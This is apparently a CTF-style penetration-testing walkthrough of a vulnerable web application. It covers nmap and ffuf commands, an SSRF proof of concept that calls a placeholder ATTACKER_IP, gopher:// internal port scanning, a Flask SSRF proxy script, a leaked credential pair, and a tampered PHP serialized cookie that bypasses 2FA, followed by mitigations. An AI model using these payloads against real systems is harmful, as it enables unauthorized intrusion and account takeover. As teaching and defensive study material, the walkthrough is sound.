Web Application Penetration Testing: From Reconnaissance to Exploitation
This guide provides a step-by-step walkthrough of penetration testing a vulnerable web application. It demonstrates how attackers can chain vulnerabilities like SSRF (Server-Side Request Forgery), port scanning via SSRF, PHP object injection, and 2FA bypass to gain full control. The methodology showcases real-world offensive security techniques used in CTFs and bug bounty hunting.
Key Points
- Reconnaissance is critical: Comprehensive port scanning and service enumeration lay the foundation for successful exploitation.
- SSRF is a gateway vulnerability: It enables internal network access, port scanning, and interaction with hidden services.
- Fuzzing uncovers hidden endpoints: Tools like
ffufreveal administrative interfaces and sensitive files. - Serialization flaws are dangerous: Unsigned PHP objects can be tampered with to bypass authentication controls.
- Chaining vulnerabilities maximizes impact: Combining SSRF, credential leaks, and object injection leads to full compromise.
Step-by-Step Exploitation
Network Reconnaissance
A thorough Nmap scan identifies exposed services:
nmap -T4 -n -sC -sV -Pn -p- TARGET_IP
Key flags explained:
| Flag | Purpose |
|---|---|
-T4 | Aggressive timing (faster scan, less stealthy) |
-n | Skip DNS resolution (reduces noise and delays) |
-sC | Run default NSE scripts (automated enumeration) |
-sV | Detect service versions (critical for vulnerability research) |
-Pn | Treat host as online (bypass ICMP filtering) |
-p- | Scan all 65,535 TCP ports (discover non-standard services) |
Results:
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.58 (Ubuntu)
Takeaway: The web server (port 80) is the primary attack surface.
Web Application Analysis
Manual inspection of the website reveals:
- An iframe loaded via
/preview.php?url=... - Potential for SSRF due to server-side URL fetching.
Source code review confirms the endpoint’s behavior:
<iframe src="/preview.php?url=internal_resource"></iframe>
Directory and File Enumeration
Fuzzing with ffuf uncovers hidden endpoints:
ffuf -u 'http://TARGET_IP/FUZZ' \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-mc all -t 100 -ic -fc 404 -e .php
Key findings:
| Endpoint | Status | Notes |
|---|---|---|
/preview.php | 200 | SSRF vector |
/management/ | 301 | Admin panel (access denied) |
/pdf/ | 301 | Likely file storage |
SSRF Exploitation
Proof of concept:
- Host a test file (
test.txt) on the attacker’s machine. - Start a local web server:
python3 -m http.server 8000 - Trigger the SSRF:
http://TARGET_IP/preview.php?url=http://ATTACKER_IP:8000/test.txt - Result: The file’s content is rendered in the browser.
Impact: Confirms SSRF; enables internal port scanning.
Internal Port Scanning via SSRF
Leverage the SSRF to scan internal ports using gopher://:
ffuf -u 'http://TARGET_IP/preview.php?url=gopher://127.0.0.1:FUZZ/' \
-w <(seq 1 65535) -mc all -t 100 -fs 0
Discovery:
- A Next.js application running on an internal port (e.g.,
4444).
SSRF Proxy Setup
Create a Python proxy to interact with internal services:
- Forward requests to
127.0.0.1:10000via/preview.php. - Use
gopher://to relay raw HTTP traffic. - Access the internal app at
http://127.0.0.1:5000(attacker’s machine).
Example proxy snippet:
import requests
from flask import Flask, request, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
target_url = f"http://127.0.0.1:10000/{path}"
response = requests.get(
f"http://TARGET_IP/preview.php?url=gopher://127.0.0.1:10000/_%7Bpath%7D"
)
return Response(response.content, status=response.status_code)
if __name__ == '__main__':
app.run(port=5000)
Exploiting the Next.js Application
Vulnerability: CVE-2025-29927 (hypothetical example). Exploitation:
- Gain access to the internal app.
- Retrieve:
- First flag.
- Credentials:
librarian:L1br4r1AN!!.
Accessing the Admin Panel
- Modify the proxy to target port
80:target_url = f"http://127.0.0.1/{path}" - Access
/management/and log in with the leaked credentials. - Redirected to
/management/2fa.php(2FA prompt).
Bypassing 2FA via PHP Object Injection
Vulnerability: Unsigned PHP serialized object in the auth_token cookie.
Original cookie:
O:9:"AuthToken":1:{s:9:"validated";b:0;}
Tampered cookie:
O:9:"AuthToken":1:{s:9:"validated";b:1;}
Steps:
- Intercept the login response (e.g., with Burp Suite).
- Decode the
auth_tokencookie (URL-encoded):O%3A9%3A%22AuthToken%22%3A1%3A%7Bs%3A9%3A%22validated%22%3Bb%3A0%3B%7D - Modify
b:0tob:1and re-encode:O%3A9%3A%22AuthToken%22%3A1%3A%7Bs%3A9%3A%22validated%22%3Bb%3A1%3B%7D - Send the request to
/management/2fa.phpwith the tampered cookie.
Result: 2FA bypassed; second flag obtained.
Common Pitfalls and Mitigations
| Pitfall | Mitigation |
|---|---|
| SSRF vulnerabilities | - Validate and sanitize user-supplied URLs. |
| - Use allowlists for internal resources. | |
- Disable dangerous schemes (gopher://, file://). | |
| Unsigned serialized data | - Sign cookies with HMAC (e.g., hash_hmac() in PHP). |
| - Avoid using PHP serialization; prefer JSON. | |
| Weak 2FA implementations | - Enforce rate-limiting on 2FA endpoints. |
| - Use time-based OTPs (TOTP) instead of client-side validation. | |
| Exposed admin interfaces | - Restrict access via IP allowlisting. |
| - Implement multi-factor authentication (MFA). |
Learn More
Advanced SSRF Techniques
- Blind SSRF: Exploit server-side callbacks (e.g., via DNS or HTTP requests to attacker-controlled servers).
- SSRF to RCE: Chain with file uploads or deserialization flaws (e.g., CVE-2019-11043 in PHP-FPM).
- Cloud Metadata Attacks: Target
169.254.169.254in AWS/Azure to steal credentials.
PHP Object Injection
- Gadget Chains: Use tools like PHPGGC to generate payloads.
- Magic Methods: Exploit
__wakeup(),__destruct(), or__toString()for code execution.
Tools for Automation
| Tool | Purpose |
|---|---|
gopherus | Generate gopher:// payloads for SSRF. |
ysoserial | Create serialized payloads for Java/PHP object injection. |
Burp Suite | Intercept/modify requests (e.g., tampering with cookies). |
nuclei | Scan for known SSRF or deserialization vulnerabilities. |
Attack Flow Diagram
graph TD
A[Nmap Scan] --> B[Identify Port 80]
B --> C[Inspect /preview.php]
C --> D[Confirm SSRF]
D --> E[Fuzz Internal Ports]
E --> F[Discover Next.js App]
F --> G[Exploit CVE-2025-29927]
G --> H[Leak Credentials]
H --> I[Access /management/]
I --> J[2FA Prompt]
J --> K[Tamper auth_token Cookie]
K --> L[Bypass 2FA]
L --> M[Obtain Flags]